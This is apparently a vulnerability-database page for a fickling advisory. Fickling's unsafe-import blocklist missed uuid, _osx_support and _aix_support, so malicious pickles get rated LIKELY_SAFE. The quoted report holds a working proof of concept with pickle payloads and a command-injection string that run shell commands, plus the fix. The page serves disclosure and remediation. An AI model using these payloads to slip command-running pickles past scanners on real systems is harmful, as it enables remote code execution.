GHSA-5hwf-rc88-82xm: Fickling missing RCE-capable modules in UNSAFE_IMPORTS
Noroxi assessment
Priority: Monitor (action score 0/100)
- The sources we track (CISA KEV, Exploit-DB, Metasploit, Nuclei, GitHub) show no public exploit code or exploitation in the wild.
- Anyone who can reach it over the internet can trigger it. No account or password is required. No user action is required. No special conditions are required; it is repeatable.
- Fixed version: fickling (PyPI) 0.1.9.
Low priority for now. Upgrade to fickling (PyPI) 0.1.9 or later.
Generated automatically from the record's data: CVSS (NVD and CNA), CISA KEV and SSVC, FIRST EPSS, exploit sources, fixed versions. How we calculate it
Primary sources: OSV
# Assessment The modules `uuid`, `_osx_support` and `_aix_support` were added to the blocklist of unsafe imports (https://github.com/trailofbits/fickling/commit/ffac3479dbb97a7a1592d85991888562d34dd05b). # Original report ## Summary fickling's `UNSAFE_IMPORTS` blocklist is missing at least 3 stdlib modules that provide direct arbitrary command execution: `uuid`, `_osx_support`, and `_aix_support`. These modules contain functions that internally call `subprocess.Popen()` or `os.system()` with attacker-controlled arguments. A malicious pickle file importing these modules passes both `UnsafeImports` and `NonStandardImports` checks. ## Affected Versions - fickling <= 0.1.8 (all versions) ## Details ### Missing Modules fickling's `UNSAFE_IMPORTS` (86 modules) does not include: | Module | RCE Function | Internal Mechanism | Importable On | |--------|-------------|-------------------|---------------| | `uuid` | `_get_command_stdout(cmd, *args)` | `subprocess.Popen((cmd,) + args, stdout=PIPE, stderr=DEVNULL)` | All platforms | | `_osx_support` | `_read_output(cmdstring)` | `os.system(cmd)` via temp file | All platforms | | `_osx_support` | `_find_build_tool(toolname)` | Command injection via `%s` in `_read_output("/usr/bin/xcrun -find %s" % toolname)` | All platforms | | `_aix_support` | `_read_cmd_output(cmdstring)` | `os.system(cmd)` via temp file | All platforms | **Critical note:** Despite the names `_osx_support` and `_aix_support` suggesting platform-specific modules, they are importable on ALL platforms. Python includes them in the standard distribution regardless of OS. ### Why These Pass fickling 1. **`NonStandardImports`**: These are stdlib modules, so `is_std_module()` returns True → not flagged 2. **`UnsafeImports`**: Module names not in `UNSAFE_IMPORTS` → not flagged 3. **`OvertlyBadEvals`**: Function names added to `likely_safe_imports` (stdlib) → skipped 4. **`UnusedVariables`**: Defeated by BUILD opcode (purposely unhardend) ### Proof of Concept (using fickling's opcode API) ```python from fickling.fickle import ( Pickled, Proto, Frame, ShortBinUnicode, StackGlobal, TupleOne, TupleTwo, Reduce, EmptyDict, SetItem, Build, Stop, ) from fickling.analysis import check_safety import struct, pickle frame_data = b"\x95" + struct.pack("<Q", 60) # uuid._get_command_stdout — works on ALL platforms uuid_payload = Pickled([ Proto(4), Frame(struct.pack("<Q", 60), data=frame_data), ShortBinUnicode("uuid"), ShortBinUnicode("_get_command_stdout"), StackGlobal(), ShortBinUnicode("echo"), ShortBinUnicode("PROOF_OF_CONCEPT"), TupleTwo(), Reduce(), EmptyDict(), ShortBinUnicode("x"), ShortBinUnicode("y"), SetItem(), Build(), Stop(), ]) # _aix_support._read_cmd_output — works on ALL platforms aix_payload = Pickled([ Proto(4), Frame(struct.pack("<Q", 60), data=frame_data), ShortBinUnicode("_aix_support"), ShortBinUnicode("_read_cmd_output"), StackGlobal(), ShortBinUnicode("echo PROOF_OF_CONCEPT"), TupleOne(), Reduce(), EmptyDict(), ShortBinUnicode("x"), ShortBinUnicode("y"), SetItem(), Build(), Stop(), ]) # _osx_support._find_build_tool — command injection via %s osx_payload = Pickled([ Proto(4), Frame(struct.pack("<Q", 60), data=frame_data), ShortBinUnicode("_osx_support"), ShortBinUnicode("_find_build_tool"), StackGlobal(), ShortBinUnicode("x; echo INJECTED #"), TupleOne(), Reduce(), EmptyDict(), ShortBinUnicode("x"), ShortBinUnicode("y"), SetItem(), Build(), Stop(), ]) # All three: fickling reports LIKELY_SAFE for name, p in [("uuid", uuid_payload), ("aix", aix_payload), ("osx", osx_payload)]: result = check_safety(p) print(f"{name}: severity={result.severity}, issues={len(result.results)}") # Output: severity=Severity.LIKELY_SAFE, issues=0 # All three: pickle.loads() executes the command pickle.loads(uuid_payload.dumps()) # prints PROOF_OF_CONCEPT ``` ### Verified Output ``` $ python3 poc.py uuid: severity=Severity.LIKELY_SAFE, issues=0 aix: severity=Severity.LIKELY_SAFE, issues=0 osx: severity=Severity.LIKELY_SAFE, issues=0 PROOF_OF_CONCEPT ``` ## Impact An attacker can craft a pickle file that executes arbitrary system commands while fickling reports it as `LIKELY_SAFE`. This affects any system relying on fickling for pickle safety validation, including ML model loading pipelines. ## Suggested Fix Add to `UNSAFE_IMPORTS` in fickling: ```python "uuid", "_osx_support", "_aix_support", ``` **Longer term:** Consider an allowlist approach — only permit known-safe stdlib modules rather than blocking known-dangerous ones. The current 86-module blocklist still has gaps because the Python stdlib contains hundreds of modules. ## Resources - Python source: `Lib/uuid.py` lines 156-168 (`_get_command_stdout`) - Python source: `Lib/_osx_support.py` lines 35-52 (`_read_output`), lines 54-68 (`_find_build_tool`) - Python source: `Lib/_aix_support.py` lines 14-30 (`_read_cmd_output`) - fickling source: `analysis.py` `UNSAFE_IMPORTS` set
- Published
- Mar 4, 2026
- Updated
- Mar 4, 2026
- EPSS
- —
- CWE
- CWE-184
Report tools
Action score
0
Low priority for now.
- CVSS
- 0 / 40 · —
- CISA KEV
- 0 / 30 · Not listed
- EPSS
- 0 / 30 · —
Get told when this record changes
- Not in KEV: no record of exploitation in the wild
- No public exploit code on record
- A fix has been released
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| Vendor | Product | CPE |
|---|---|---|
| PyPI | fickling | pkg:pypi/fickling |
Package-level exposure
OSV and GitHub Advisory data: ecosystem, package and range. SBOM matching uses this table.
| Ecosystem | Package | Affected range | Fix |
|---|---|---|---|
| PyPI | fickling | before 0.1.9 | 0.1.9 |
Same product
PyPI: all recordsOther highest-scoring records for the same primary product.
- GHSA-5cxw-w2xg-2m8hfickling's `platform` module subprocess invocation evades `check_safety()` with `LIKELY_SAFE`0Monitor
- GHSA-r48f-3986-4f9cfickling modules linecache, difflib and gc are missing from the unsafe modules blocklist0Monitor
- GHSA-wccx-j62j-r448Fickling has `always_check_safety()` bypass: pickle.loads and _pickle.loads remain unhooked0Monitor
Published before and after this one in the same product
- ← EarlierGHSA-83pf-v6qq-pwmrFeb 20, 2026 · Fickling has a detection bypass via stdlib network-protocol constructors0Monitor
- ← EarlierGHSA-mxhj-88fx-4pcvFeb 24, 2026 · Fickling: OBJ opcode call invisibility bypasses all safety checks0Monitor
- ← EarlierGHSA-mhc9-48gj-9gp3Feb 25, 2026 · Fickling has safety check bypass via REDUCE+BUILD opcode sequence0Monitor
Remediation
Which version to upgrade to
Fix versions compiled from the vendor, package registries and Microsoft. Verify the vendor's note before upgrading.
| Product / package | Fixed version | Source |
|---|---|---|
| PyPI:fickling | 0.1.9 | Package registry (OSV) |
Exploit status
No known public exploit
No public exploit has been observed yet. That doesn't mean you're safe, only that the bar is a little higher.
Research context
For pentesters and researchers: attack profile, score disagreement, timeline, patch commits, credits, variant and chain candidates, bug bounty scope. All derived from existing data; no exploit code.
Timeline
From publication to today: proof of concept, Metasploit module, CISA KEV and fix record. Dates are as reported by the sources.
No dated events beyond publication.
Patch and commit links
Commit, PR and diff links among the references. A starting point for patch-diffing and variant hunting; fixes, not exploits.
Variant candidates
Same product, same weakness class, within 18 months. If the patch missed the root cause, the sibling bug is here.
- GHSA-mhc9-48gj-9gp37 days apartFickling has safety check bypass via REDUCE+BUILD opcode sequence0Monitor
- GHSA-5cxw-w2xg-2m8h9 days apartfickling's `platform` module subprocess invocation evades `check_safety()` with `LIKELY_SAFE`0Monitor
- GHSA-r48f-3986-4f9c9 days apartfickling modules linecache, difflib and gc are missing from the unsafe modules blocklist0Monitor
- GHSA-83pf-v6qq-pwmr12 days apartFickling has a detection bypass via stdlib network-protocol constructors0Monitor
Not on record for this CVE: EPSS history · researcher credit · public bounty program.
Technical details
Attack conditions
- Anyone who can reach it over the internet can trigger it.
- No account or password is required.
- No user action is required.
- No special conditions are required; it is repeatable.
If successful
- Confidentiality
- Integrity
- Availability
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
Weakness class (CWE)
CWE-184 · Incomplete List of Disallowed InputsCVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
osv
Attack context
MITRE CAPEC attack patterns and ATT&CK techniques for this weakness class (CWE). A starting point for detection rules and threat hunting.
Attack patterns (CAPEC)
- Double EncodingCAPEC-120likelihood: Low · Medium
- Command DelimitersCAPEC-15likelihood: High · High
- Flash InjectionCAPEC-182likelihood: High · Medium
- Using Leading 'Ghost' Character Sequences to Bypass Input FiltersCAPEC-3likelihood: Medium · Medium
- Exploiting Multiple Input Interpretation LayersCAPEC-43likelihood: Medium · High
- Argument InjectionCAPEC-6likelihood: High · High
- Using Unicode Encoding to Bypass Validation LogicCAPEC-71likelihood: Medium · High
- User-Controlled FilenameCAPEC-73likelihood: High · High
ATT&CK techniques
—
Change log (2)
- Fix✗ → ✓
- CVSS8 → —
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References
Show all references (2 more)Show less
Vendor advisories and official records. Exploit/PoC links are deliberately left out.